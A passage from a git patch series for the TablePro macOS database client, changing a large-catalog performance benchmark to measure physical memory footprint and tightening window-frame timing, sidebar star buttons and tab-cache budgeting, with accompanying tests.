+++ b/apple/changelog.d/3842.fixed.md
@@ -0,0 +1 @@
+Open Quickly and Jump to Column kept their results in memory after they closed.
diff --git a/apple/scripts/benchmark-large-catalog.sh b/apple/scripts/benchmark-large-catalog.sh
index e8a438ebd4..ea6442217d 100755
--- a/apple/scripts/benchmark-large-catalog.sh
+++ b/apple/scripts/benchmark-large-catalog.sh
@@ -6,10 +6,11 @@
 # (TABLEPRO_INTERACTION_TRACE=1): sidebar-listing (connect to the full listing), sidebar-filter (one
 # keystroke), sidebar-expand (a schema never read; MySQL: the database), quick-open-panel,
 # quick-open-result (a table in every schema), complete-from and complete-schema (MySQL: the database),
-# plus resident memory.
+# plus the memory footprint.
 #
 # Fixtures come from scripts/probes/build-large-catalog-fixtures.sh. The release build has no Oracle
-# driver, so Oracle needs --oracle-plugin with an OracleDriver.tableplugin signed by the TablePro team.
+# driver, so Oracle needs --oracle-plugin with an OracleDriver.tableplugin built from this tree and signed
+# by the TablePro team; one built before the tree's last Oracle change is refused.
 # Builds Release unless --app names a build, and drives a signed copy through System Events in a
 # TABLEPRO_UI_TEST_SANDBOX, so the terminal needs Accessibility and Automation permission.
 #
@@ -18,8 +19,8 @@
 #       [--parts listing,session,expand] [--runs 10] [--mysql user@host:port] [--postgres user@host:port]
 #       [--oracle host:port] [--oracle-container <name>] [--oracle-plugin <OracleDriver.tableplugin>] [--record] [--keep]
 #
-# Exit: 0 within budget, 1 over budget on the baseline's Mac and configuration, 2 the run stopped
-# or a step has no baseline.
+# Exit: 0 within budget, 1 a stall over 100 ms or over budget on the baseline's Mac and configuration,
+# 2 the run stopped or a step has no baseline.
 
 set -euo pipefail
 
diff --git a/apple/scripts/benchmark/large-catalog/benchmark.py b/apple/scripts/benchmark/large-catalog/benchmark.py
index e404db73dd..bbe8c97140 100644
--- a/apple/scripts/benchmark/large-catalog/benchmark.py
+++ b/apple/scripts/benchmark/large-catalog/benchmark.py
@@ -2,6 +2,7 @@
 # Driver for scripts/benchmark-large-catalog.sh, which builds and signs the app first.
 
 import argparse
+import ctypes
 import datetime
 import importlib.util
 import json
@@ -21,6 +22,14 @@
 _spec.loader.exec_module(app_paths)
 
 BASELINE = HERE / "baseline.json"
+
+LIBPROC = ctypes.CDLL("/usr/lib/libSystem.B.dylib")
+
+
+class RusageInfo(ctypes.Structure):
+    _fields_ = [("uuid", ctypes.c_uint8 * 16)] + [(name, ctypes.c_uint64) for name in (
+        "user_time", "system_time", "pkg_idle_wkups", "interrupt_wkups", "pageins", "wired_size",
+        "resident_size", "phys_footprint", "proc_start_abstime", "proc_exit_abstime")]
 DATABASE = "tablepro_large_catalog"
 # build-large-catalog-fixtures.sh creates the Oracle tenant LC_S001 with this password, whatever SYSTEM's is.
 ORACLE_TENANT_PASSWORD = "probe_pw"
@@ -132,6 +141,24 @@ def oracle_ready(container, password):
 # Sandboxes
 
 
+# Oracle is a registry plugin: a published build would time code that is not in this tree.
+def oracle_plugin_problem(plugin):
+    if plugin is None:
+        return "no --oracle-plugin: the release build has no Oracle driver"
+    executable = plugin / "Contents" / "MacOS" / "OracleDriver"
+    if not executable.exists():
+        return "%s has no Contents/MacOS/OracleDriver" % plugin
+    sources = [str(HERE.parents[2] / "Plugins" / "OracleDriverPlugin"), str(HERE.parents[2] / "Packages" / "TableProOracle")]
+    changed = app_paths.run(["git", "-C", str(HERE), "log", "-1", "--format=%ct", "--"] + sources).stdout.strip()
+    if changed and executable.stat().st_mtime < int(changed):
+        return "%s was built before this tree's last Oracle change: build OracleDriver from this tree" % plugin
+    version = app_paths.run(["plutil", "-extract", "CFBundleShortVersionString", "raw", "-o", "-",
+                             str(plugin / "Contents" / "Info.plist")]).stdout.strip()
+    log("Oracle plugin %s, built %s" % (version, datetime.datetime.fromtimestamp(executable.stat().st_mtime)
+                                        .strftime("%Y-%m-%d %H:%M")))
+    return None
+
+
 def query_tab():
     return {"id": "00000000-0000-4000-8000-000000003661", "title": "Query 1", "query": "",
             "tabType": {"query": {}}, "databaseName": ""}
@@ -224,9 +251,13 @@ def clear_field(self):
         self.keystroke("a", ("command",))
         self.keystroke(KEY_DELETE)
 
-    def resident_mb(self):
-        rss = app_paths.run(["ps", "-o", "rss=", "-p", str(self.pid)]).stdout.strip()
-        return round(int(rss) / 1024.0, 1)
+    # The physical footprint Activity Monitor shows. RSS leaves out what the memory compressor holds, and
+    # read 107 to 572 MB for the same retained memory.
+    def footprint_mb(self):
+        info = RusageInfo()
+        if LIBPROC.proc_pid_rusage(self.pid, 0, ctypes.byref(info)) != 0:
+            raise app_paths.BenchmarkError("proc_pid_rusage failed for %d" % self.pid)
+        return round(info.phys_footprint / 1048576.0, 1)
 
 
 def launch(app, sandbox, work, label):
@@ -316,7 +347,7 @@ def interactive_runs(app, sandbox, work, fixture, runs, results):
         session.clear_field()
         results["complete-from"] = complete_from
         results["complete-schema"] = complete_schema
-        return session.resident_mb()
+        return session.footprint_mb()
 
 
 # Each run opens a schema no run has read, picked by typing its name in the tree.
@@ -415,7 +446,12 @@ def summarize(traces):
 
 
 def report(measured, baseline, comparable):
-    header = "%-9s %-18s %5s %9s %9s %10s %17s  %s" % (
+    if baseline is not None and not comparable:
+        recorded = baseline.get("machine", {})
+        log("baseline is from %s, %s GB, %s; this run is another Mac or build: budgets shown, not enforced; "
+            "the %d ms stall limit still is" % (recorded.get("model"), recorded.get("memoryGB"),
+                                               baseline.get("app", {}).get("configuration"), STALL_LIMIT_MS))
+    header ="%-9s %-18s %5s %9s %9s %10s %17s  %s" % (
         "fixture", "step", "runs", "median", "p95", "max stall", "budget med/p95", "status")
     print(header)
     print("-" * len(header))
@@ -431,23 +467,26 @@ def report(measured, baseline, comparable):
             summary = steps[step]
             expected = expected_steps.get(step)
             budget = "-"
-            status = "ok" if summary["maxStallMs"] <= STALL_LIMIT_MS else "STALL"
-            if summary["maxStallMs"] > STALL_LIMIT_MS and comparable:
-                over.append("%s %s" % (fixture, step))
+            problems = []
+            failed = summary["maxStallMs"] > STALL_LIMIT_MS
+            if failed:
+                problems.append("STALL")
             if not expected:
                 missing.append("%s %s" % (fixture, step))
-                status += ", no baseline"
+                problems.append("no baseline")
             else:
                 budget = "%d / %d" % (expected["budgetMedian"], expected["budgetP95"])
                 if summary["median"] > expected["budgetMedian"] or summary["p95"] > expected["budgetP95"]:
-                    status = "OVER BUDGET"
-                    if comparable:
-                        over.append("%s %s" % (fixture, step))
+                    problems.append("OVER BUDGET")
+                    failed = failed or comparable
+            if failed:
+                over.append("%s %s" % (fixture, step))
+            status = ", ".join(problems) or "ok"
             print("%-9s %-18s %5d %9.1f %9.1f %10.1f %17s  %s" % (
                 fixture, step, summary["runs"], summary["median"], summary["p95"], summary["maxStallMs"],
                 budget, status))
         if measured[fixture]["memoryMB"] is not None:
-            print("%-9s %-18s %5s %9.1f MB resident after autocomplete"
+            print("%-9s %-18s %5s %9.1f MB footprint after autocomplete"
                   % (fixture, "memory", "", measured[fixture]["memoryMB"]))
     return over, missing
 
@@ -520,9 +559,8 @@ def main():
         elif name == "mysql":
             problem, fixture = mysql_ready(mysql), mysql_fixture(mysql)
         else:
-            problem = oracle_ready(options.oracle_container, options.oracle_password)
-            if problem is None and options.oracle_plugin is None:
-                problem = "no --oracle-plugin: the release build has no Oracle driver"
+            problem = oracle_ready(options.oracle_container, options.oracle_password) \
+                or oracle_plugin_problem(options.oracle_plugin)
             fixture = oracle_fixture({"host": oracle["host"], "port": oracle["port"], "user": "LC_S001",
                                       "password": ORACLE_TENANT_PASSWORD})
         if problem:

From 53161478362e6bf3b103b48fec6e01c4755c3e9c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Mon, 26 Oct 2026 18:52:44 +0700
Subject: [PATCH 02/44] perf(connection-window): keep the restored tab out of
 the connected panes' frame (#3846)

---
 .../SidebarContainerViewController.swift      |  8 ++-
 .../Extensions/NSWindow+FirstFrame.swift      | 56 +++++++++++++++---
 .../MainContentCoordinator+TabRestore.swift   |  5 ++
 .../Views/Sidebar/FavoriteStarButton.swift    | 34 ++++++-----
 .../Extensions/NSWindowNextFrameTests.swift   | 52 +++++++++++++++++
 .../Sidebar/FavoriteStarButtonTests.swift     | 58 +++++++++++++++++++
 apple/changelog.d/3846.changed.md             |  1 +
 .../benchmark/large-catalog/benchmark.py      | 30 +++++++---
 8 files changed, 214 insertions(+), 30 deletions(-)
 create mode 100644 apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
 create mode 100644 apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift
 create mode 100644 apple/changelog.d/3846.changed.md

diff --git a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift
index 805183ecb7..ae3c2dce75 100644
--- a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift
@@ -382,8 +382,12 @@ private final class SidebarFilterField: NSSearchField {
 
     override func becomeFirstResponder() -> Bool {
         let became = super.becomeFirstResponder()
-        if became { onFocus?() }
-        return became
+        guard became else { return false }
+        onFocus?()
+        // AppKit sets up a field editor's selection navigation on its first caret move, about 15 ms once per launch;
+        // asking for it here keeps that cost out of the first keystroke of a search over a large catalog.
+        _ = (currentEditor() as? NSTextView)?.textLayoutManager?.textSelectionNavigation
+        return true
     }
 }
 
diff --git a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
index 4facce23e8..925156f3eb 100644
--- a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
+++ b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
@@ -19,9 +19,14 @@ internal extension NSWindow {
     /// than never. That covers a launch nobody is looking at, which is exactly the case that must
     /// not stall.
     func afterNextFrame(_ body: @escaping @MainActor () -> Void) {
+        _ = observeNextFrame(body)
+    }
+
+    /// Returns what stops the wait, for a caller that gives up on a frame that may never come.
+    private func observeNextFrame(_ body: @escaping @MainActor () -> Void) -> @MainActor () -> Void {
         guard screen != nil, let view = contentView else {
             body()
-            return
+            return {}
         }
         guard #available(macOS 14.0, *) else {
             /// `NSView.displayLink(target:selector:)` and `CADisplayLink` are both macOS 14.
@@ -32,17 +37,48 @@ internal extension NSWindow {
             CATransaction.setCompletionBlock {
                 DispatchQueue.main.async { MainActor.assumeIsolated(body) }
             }
-            return
+            return {}
         }
-        FirstFrameObserver.observe(view, then: body)
+        let observer = FirstFrameObserver.observe(view, then: body)
+        return { observer.cancel() }
+    }
+
+    /// Returns once the display has shown this window's next frame, or after `limit`: a hidden or
+    /// off-display view drives no display link, so the frame alone could never arrive.
+    func nextFrame(limit: Duration = .milliseconds(100)) async {
+        let gate = FrameGate()
+        await withCheckedContinuation { (continuation: CheckedContinuation<Void, Never>) in
+            gate.continuation = continuation
+            gate.stopObserving = observeNextFrame { gate.open() }
+            Task { @MainActor in
+                try? await Task.sleep(for: limit)
+                gate.open()
+            }
+        }
+    }
+}
+
+@MainActor
+private final class FrameGate {
+    var continuation: CheckedContinuation<Void, Never>?
+    var stopObserving: (@MainActor () -> Void)?
+
+    // The limit can win, and a display link left registered would hold its observer for good.
+    func open() {
+        stopObserving?()
+        stopObserving = nil
+        continuation?.resume()
+        continuation = nil
     }
 }
 
 @available(macOS 14.0, *)
 @MainActor
-private final class FirstFrameObserver: NSObject {
+internal final class FirstFrameObserver: NSObject {
     private static var live: Set<FirstFrameObserver> = []
 
+    static var liveCount: Int { live.count }
+
     private let body: @MainActor () -> Void
     private var link: CADisplayLink?
 
@@ -50,19 +86,25 @@ private final class FirstFrameObserver: NSObject {
         self.body = body
     }
 
-    static func observe(_ view: NSView, then body: @escaping @MainActor () -> Void) {
+    static func observe(_ view: NSView, then body: @escaping @MainActor () -> Void) -> FirstFrameObserver {
         let observer = FirstFrameObserver(body: body)
         let link = view.displayLink(target: observer, selector: #selector(fire))
         observer.link = link
         live.insert(observer)
         link.add(to: .main, forMode: .common)
+        return observer
     }
 
-    @objc
-    private func fire() {
+    func cancel() {
         link?.invalidate()
         link = nil
         Self.live.remove(self)
+    }
+
+    @objc
+    private func fire() {
+        guard link != nil else { return }
+        cancel()
         body()
     }
 }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift
index bb1290d0c5..b7a0bf9b78 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift
@@ -144,6 +144,11 @@ extension MainContentCoordinator {
             )
             return
         }
+        // The connected panes lay out on the window's next frame; a read that landed first built the
+        // restored tab in that turn, one stall of both. Waited before the read, so the saves the read
+        // unlocks never see a tab list the restore has not merged into yet.
+        await window.nextFrame()
+        guard !isTearingDown else { return }
         let restoreStart = Date()
         let result = await persistence.restoreFromDisk()
         Self.lifecycleLogger.info(
diff --git a/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift b/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift
index fa2de4defc..84e0a49642 100644
--- a/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift
+++ b/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift
@@ -17,22 +17,30 @@ internal struct FavoriteStarButton: View {
 
     private var isVisible: Bool { isFavorite || isRowHovered }
 
+    // A hidden star is a placeholder, not a button: a button adds AppKit focus views to its row, and the sidebar
+    // builds every visible row again on each reload.
     internal var body: some View {
-        Button(action: toggle) {
-            Image(systemName: isFavorite ? "star.fill" : "star")
-                .font(.system(size: 11, weight: .regular))
-                .selectionAwareTint(isFavorite ? Color.yellow : Color.secondary)
-                .frame(width: 20, height: 20)
-                .contentShape(Rectangle())
+        if isVisible {
+            Button(action: toggle) {
+                Image(systemName: isFavorite ? "star.fill" : "star")
+                    .font(.system(size: 11, weight: .regular))
+                    .selectionAwareTint(isFavorite ? Color.yellow : Color.secondary)
+                    .frame(width: Self.side, height: Self.side)
+                    .contentShape(Rectangle())
+            }
+            .buttonStyle(.plain)
+            .accessibilityHidden(true)
+            .help(isFavorite
+                ? String(localized: "Remove from Favorites")
+                : String(localized: "Add to Favorites"))
+        } else {
+            Color.clear
+                .frame(width: Self.side, height: Self.side)
+                .accessibilityHidden(true)
         }
-        .buttonStyle(.plain)
-        .opacity(isVisible ? 1 : 0)
-        .allowsHitTesting(isVisible)
-        .accessibilityHidden(true)
-        .help(isFavorite
-            ? String(localized: "Remove from Favorites")
-            : String(localized: "Add to Favorites"))
     }
+
+    private static let side: CGFloat = 20
 }
 
 /// A hover-revealed control is pointer-only, so the row publishes the same action to VoiceOver.
diff --git a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
new file mode 100644
index 0000000000..24652779f4
--- /dev/null
+++ b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
@@ -0,0 +1,52 @@
+//
+//  NSWindowNextFrameTests.swift
+//  TableProTests
+//
+
+import AppKit
+@testable import TablePro
+import Testing
+
+@MainActor
+struct NSWindowNextFrameTests {
+    private static func window() -> NSWindow {
+        let window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 200, height: 100),
+            styleMask: [.titled],
+            backing: .buffered,
+            defer: false
+        )
+        window.isReleasedWhenClosed = false
+        return window
+    }
+
+    @Test("The wait ends whether or not the window ever draws a frame")
+    func waitAlwaysEnds() async {
+        let clock = ContinuousClock()
+        let hidden = Self.window()
+        let shown = Self.window()
+        shown.orderFront(nil)
+        defer { shown.orderOut(nil) }
+
+        let elapsed = await clock.measure {
+            await hidden.nextFrame(limit: .milliseconds(50))
+            await shown.nextFrame(limit: .milliseconds(50))
+            await shown.nextFrame(limit: .milliseconds(50))
+        }
+
+        #expect(elapsed < .seconds(5))
+    }
+
+    @Test("A wait that ends at its limit leaves no display link behind")
+    func timedOutWaitReleasesItsObserver() async {
+        guard #available(macOS 14.0, *) else { return }
+        let window = Self.window()
+        window.orderFront(nil)
+        window.orderOut(nil)
+        let before = FirstFrameObserver.liveCount
+
+        await window.nextFrame(limit: .milliseconds(30))
+
+        #expect(FirstFrameObserver.liveCount == before)
+    }
+}
diff --git a/apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift b/apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift
new file mode 100644
index 0000000000..2bb1a508d5
--- /dev/null
+++ b/apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift
@@ -0,0 +1,58 @@
+//
+//  FavoriteStarButtonTests.swift
+//  TableProTests
+//
+
+import AppKit
+import SwiftUI
+@testable import TablePro
+import Testing
+
+@MainActor
+struct FavoriteStarButtonTests {
+    private static func host(_ view: some View) -> (NSHostingView<AnyView>, NSWindow) {
+        let window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 40, height: 40),
+            styleMask: [.titled],
+            backing: .buffered,
+            defer: false
+        )
+        window.isReleasedWhenClosed = false
+        let hosting = NSHostingView(rootView: AnyView(view))
+        hosting.frame = NSRect(x: 0, y: 0, width: 40, height: 40)
+        window.contentView?.addSubview(hosting)
+        hosting.layoutSubtreeIfNeeded()
+        return (hosting, window)
+    }
+
+    private static func star(isFavorite: Bool, isRowHovered: Bool) -> FavoriteStarButton {
+        FavoriteStarButton(isFavorite: isFavorite, isRowHovered: isRowHovered, toggle: {})
+    }
+
+    // SwiftUI's own view hierarchy is private: only check for the control's views where a button has them.
+    static func buttonsAddAppKitViews() -> Bool {
+        let (hosting, window) = host(Button("Star") {}.buttonStyle(.plain))
+        defer { window.orderOut(nil) }
+        return !hosting.subviews.isEmpty
+    }
+
+    @Test(
+        "A hidden star puts no control in its row, and a shown one does",
+        .enabled("a SwiftUI button adds AppKit views on this macOS") { await FavoriteStarButtonTests.buttonsAddAppKitViews() }
+    )
+    func hiddenStarIsNoControl() {
+        for (isFavorite, isRowHovered, expectsControl) in [(false, false, false), (false, true, true), (true, false, true)] {
+            let (hosting, window) = Self.host(Self.star(isFavorite: isFavorite, isRowHovered: isRowHovered))
+            #expect(hosting.subviews.isEmpty == !expectsControl, "favorite \(isFavorite), hovered \(isRowHovered)")
+            window.orderOut(nil)
+        }
+    }
+
+    @Test("A star takes the same room hidden as shown, so a hover moves nothing in the row")
+    func hiddenStarKeepsItsRoom() {
+        let hidden = NSHostingView(rootView: Self.star(isFavorite: false, isRowHovered: false)).fittingSize
+        let shown = NSHostingView(rootView: Self.star(isFavorite: false, isRowHovered: true)).fittingSize
+        #expect(hidden == shown)
+        #expect(hidden == CGSize(width: 20, height: 20))
+    }
+}
diff --git a/apple/changelog.d/3846.changed.md b/apple/changelog.d/3846.changed.md
new file mode 100644
index 0000000000..3fe66f08ec
--- /dev/null
+++ b/apple/changelog.d/3846.changed.md
@@ -0,0 +1 @@
+Opening a connection on saved tabs and filtering a large sidebar pause the window less.
diff --git a/apple/scripts/benchmark/large-catalog/benchmark.py b/apple/scripts/benchmark/large-catalog/benchmark.py
index bbe8c97140..bc20df3bfd 100644
--- a/apple/scripts/benchmark/large-catalog/benchmark.py
+++ b/apple/scripts/benchmark/large-catalog/benchmark.py
@@ -485,9 +485,20 @@ def report(measured, baseline, comparable):
             print("%-9s %-18s %5d %9.1f %9.1f %10.1f %17s  %s" % (
                 fixture, step, summary["runs"], summary["median"], summary["p95"], summary["maxStallMs"],
                 budget, status))
-        if measured[fixture]["memoryMB"] is not None:
-            print("%-9s %-18s %5s %9.1f MB footprint after autocomplete"
-                  % (fixture, "memory", "", measured[fixture]["memoryMB"]))
+        footprint = measured[fixture]["footprintMB"]
+        if footprint is not None:
+            entry = (baseline or {}).get("fixtures", {}).get(fixture) or {}
+            budget = entry.get("budgetFootprintMB")
+            status = "ok"
+            if budget is None:
+                missing.append("%s footprint" % fixture)
+                status = "no baseline"
+            elif footprint > budget:
+                status = "OVER BUDGET"
+                if comparable:
+                    over.append("%s footprint" % fixture)
+            print("%-9s %-18s %5s %9.1f MB after autocomplete, budget %s MB  %s"
+                  % (fixture, "footprint", "", footprint, budget if budget is not None else "-", status))
     return over, missing
 
 
@@ -502,16 +513,19 @@ def record_baseline(measured, current_machine, current_app, runs):
             steps[step] = dict(summary, budgetMedian=app_paths.budget_for(summary["median"]),
                                budgetP95=app_paths.budget_for(summary["p95"]))
         entry["steps"] = {step: steps[step] for step in STEPS if step in steps}
-        if values["memoryMB"] is not None:
-            entry["memoryMB"] = values["memoryMB"]
+        # The RSS this used to keep measured a different thing and has no budget.
+        entry.pop("memoryMB", None)
+        if values["footprintMB"] is not None:
+            entry["footprintMB"] = values["footprintMB"]
+            entry["budgetFootprintMB"] = app_paths.budget_for(values["footprintMB"])
         fixtures[fixture] = entry
     BASELINE.write_text(json.dumps({
         "recorded": datetime.date.today().isoformat(),
         "machine": current_machine,
         "app": current_app,
         "runs": runs,
-        "budgetRule": "%.2fx the baseline median and p95, rounded up to 5 ms; no main-thread stall over %d ms"
-                      % (app_paths.BUDGET_FACTOR, STALL_LIMIT_MS),
+        "budgetRule": "%.2fx the baseline median and p95, rounded up to 5 ms, and the footprint, rounded up to 5 MB; "
+                      "no main-thread stall over %d ms" % (app_paths.BUDGET_FACTOR, STALL_LIMIT_MS),
         "fixtures": {name: fixtures[name] for name in FIXTURES if name in fixtures},
     }, indent=2) + "\n")
     log("wrote %s" % BASELINE)
@@ -577,7 +591,7 @@ def main():
             plugin = options.oracle_plugin if fixture.name == "oracle" else None
             results, memory = run_fixture(options.app, work, fixture, options.runs, plugin, parts)
             measured[fixture.name] = {
-                "memoryMB": memory,
+                "footprintMB": memory,
                 "steps": {step: summarize(traces) for step, traces in results.items()},
             }
     except app_paths.BenchmarkError as error:

From fcc7073332423e7245af44f83c89043e264c8fd5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Mon, 26 Oct 2026 19:01:18 +0700
Subject: [PATCH 03/44] fix(tabs): keep a table tab's rows until you reload it
 (#3848)

---
 .../GridDisplayCacheBudget.swift              |  18 +
 .../MemoryPressureAdvisor.swift               |  57 ---
 .../GridDisplayCacheBudgetTests.swift         |  27 ++
 .../MemoryPressureAdvisorTests.swift          |  31 --
 .../Core/Diagnostics/TabSwitchTrace.swift     |   2 +-
 .../MainSplitViewController.swift             |  16 +-
 .../Infrastructure/PostLaunchWork.swift       |   3 -
 apple/TablePro/Models/Query/QueryTab.swift    |   4 -
 apple/TablePro/Models/Query/TabSession.swift  |   7 +-
 .../Models/Query/TabSessionRegistry.swift     |  35 +-
 .../Models/Query/TableLoadTrigger.swift       |   6 +
 apple/TablePro/Models/Query/TableRows.swift   |   7 -
 .../Main/Child/MainEditorContentView.swift    |  11 +-
 .../MainContentCoordinator+GridModels.swift   |   4 +-
 .../MainContentCoordinator+QueryHelpers.swift |   2 +-
 .../MainContentCoordinator+QueryTasks.swift   |   2 +-
 ...MainContentCoordinator+ResultEditing.swift |   2 +
 .../MainContentCoordinator+TabRestore.swift   |   2 +-
 .../MainContentCoordinator+TabSwitch.swift    | 101 +----
 ...nContentCoordinator+TableRowsRefresh.swift |  16 +-
 ...inContentCoordinator+WindowLifecycle.swift |  37 +-
 .../Extensions/MainContentView+Helpers.swift  |  23 +-
 .../Extensions/MainContentView+Setup.swift    |   2 +-
 .../Views/Main/MainContentCoordinator.swift   |  12 +-
 .../WorkspaceSwitchKeyStateTests.swift        |   6 +-
 .../TabSessionRegistryTableRowsTests.swift    |  44 +--
 .../Query/TabSessionRegistryTests.swift       |  35 +-
 .../Models/Query/TabSessionTests.swift        |   1 -
 .../Query/TableRowsRowLocatorTests.swift      |   7 -
 .../Models/Query/TableRowsTests.swift         |  17 -
 .../Views/Main/CatalogChangeWindowTests.swift |   4 +-
 .../Views/Main/EvictionTests.swift            | 357 ------------------
 ...nContentCoordinatorDisplayStateTests.swift |  14 -
 .../MainContentCoordinatorLazyLoadTests.swift | 179 +++++----
 .../Main/TableTabRowRetentionTests.swift      | 145 +++++++
 apple/changelog.d/3848.fixed.1.md             |   1 +
 apple/changelog.d/3848.fixed.2.md             |   1 +
 apple/changelog.d/3848.fixed.3.md             |   1 +
 apple/changelog.d/3848.fixed.md               |   1 +
 39 files changed, 372 insertions(+), 868 deletions(-)
 create mode 100644 apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift
 delete mode 100644 apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift
 create mode 100644 apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift
 delete mode 100644 apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift
 delete mode 100644 apple/TableProTests/Views/Main/EvictionTests.swift
 create mode 100644 apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift
 create mode 100644 apple/changelog.d/3848.fixed.1.md
 create mode 100644 apple/changelog.d/3848.fixed.2.md
 create mode 100644 apple/changelog.d/3848.fixed.3.md
 create mode 100644 apple/changelog.d/3848.fixed.md

diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift
new file mode 100644
index 0000000000..51b940fbf2
--- /dev/null
+++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift
@@ -0,0 +1,18 @@
+import Foundation
+
+// Sized by RAM and never by pressure: dispatch/source.h says not to walk and discard existing caches when pressure rises.
+public enum GridDisplayCacheBudget {
+    public static func unmountedGrids(physicalMemory: UInt64 = ProcessInfo.processInfo.physicalMemory) -> Int {
+        let gigabyte: UInt64 = 1_073_741_824
+        switch physicalMemory {
+        case (32 * gigabyte)...:
+            return 8
+        case (16 * gigabyte)...:
+            return 5
+        case (8 * gigabyte)...:
+            return 3
+        default:
+            return 2
+        }
+    }
+}
diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift
deleted file mode 100644
index cc10153b63..0000000000
--- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift
+++ /dev/null
@@ -1,57 +0,0 @@
-import Foundation
-import os
-
-@MainActor
-public enum MemoryPressureAdvisor {
-    nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "MemoryPressureAdvisor")
-
-    /// Current memory pressure level from the OS dispatch source.
-    private(set) static var isUnderPressure = false
-
-    private static let pressureSource: DispatchSourceMemoryPressure = {
-        let source = DispatchSource.makeMemoryPressureSource(
-            eventMask: [.warning, .critical, .normal],
-            queue: .main
-        )
-        source.setEventHandler { @Sendable in
-            MainActor.assumeIsolated {
-                let event = source.data
-                let wasPressured = isUnderPressure
-                isUnderPressure = event.contains(.warning) || event.contains(.critical)
-                if isUnderPressure && !wasPressured {
-                    logger.info("Memory pressure detected, reducing tab eviction budget")
-                } else if !isUnderPressure && wasPressured {
-                    logger.info("Memory pressure resolved, restoring tab eviction budget")
-                }
-            }
-        }
-        source.activate()
-        return source
-    }()
-
-    public static func startMonitoring() {
-        _ = pressureSource
-    }
-
-    public static func budgetForInactiveTabs() -> Int {
-        let totalBytes = ProcessInfo.processInfo.physicalMemory
-        let gb: UInt64 = 1_073_741_824
-
-        let baseBudget: Int
-        if totalBytes >= 32 * gb {
-            baseBudget = 8
-        } else if totalBytes >= 16 * gb {
-            baseBudget = 5
-        } else if totalBytes >= 8 * gb {
-            baseBudget = 3
-        } else {
-            baseBudget = 2
-        }
-
-        return isUnderPressure ? max(1, baseBudget / 2) : baseBudget
-    }
-
-    public static func estimatedFootprint(rowCount: Int, columnCount: Int) -> Int {
-        rowCount * columnCount * 64
-    }
-}
diff --git a/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift b/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift
new file mode 100644
index 0000000000..0043289325
--- /dev/null
+++ b/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift
@@ -0,0 +1,27 @@
+import Testing
+
+@testable import TableProUtilities
+
+struct GridDisplayCacheBudgetTests {
+    private static let gigabyte: UInt64 = 1_073_741_824
+
+    @Test(
+        "More memory keeps more unmounted grids formatted",
+        arguments: [
+            (UInt64(4) * gigabyte, 2),
+            (UInt64(8) * gigabyte, 3),
+            (UInt64(16) * gigabyte, 5),
+            (UInt64(24) * gigabyte, 5),
+            (UInt64(32) * gigabyte, 8),
+            (UInt64(128) * gigabyte, 8),
+        ]
+    )
+    func tiers(physicalMemory: UInt64, expected: Int) {
+        #expect(GridDisplayCacheBudget.unmountedGrids(physicalMemory: physicalMemory) == expected)
+    }
+
+    @Test("Just under a tier stays on the lower one")
+    func tierBoundary() {
+        #expect(GridDisplayCacheBudget.unmountedGrids(physicalMemory: 16 * Self.gigabyte - 1) == 3)
+    }
+}
diff --git a/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift b/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift
deleted file mode 100644
index f22ecebd86..0000000000
--- a/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift
+++ /dev/null
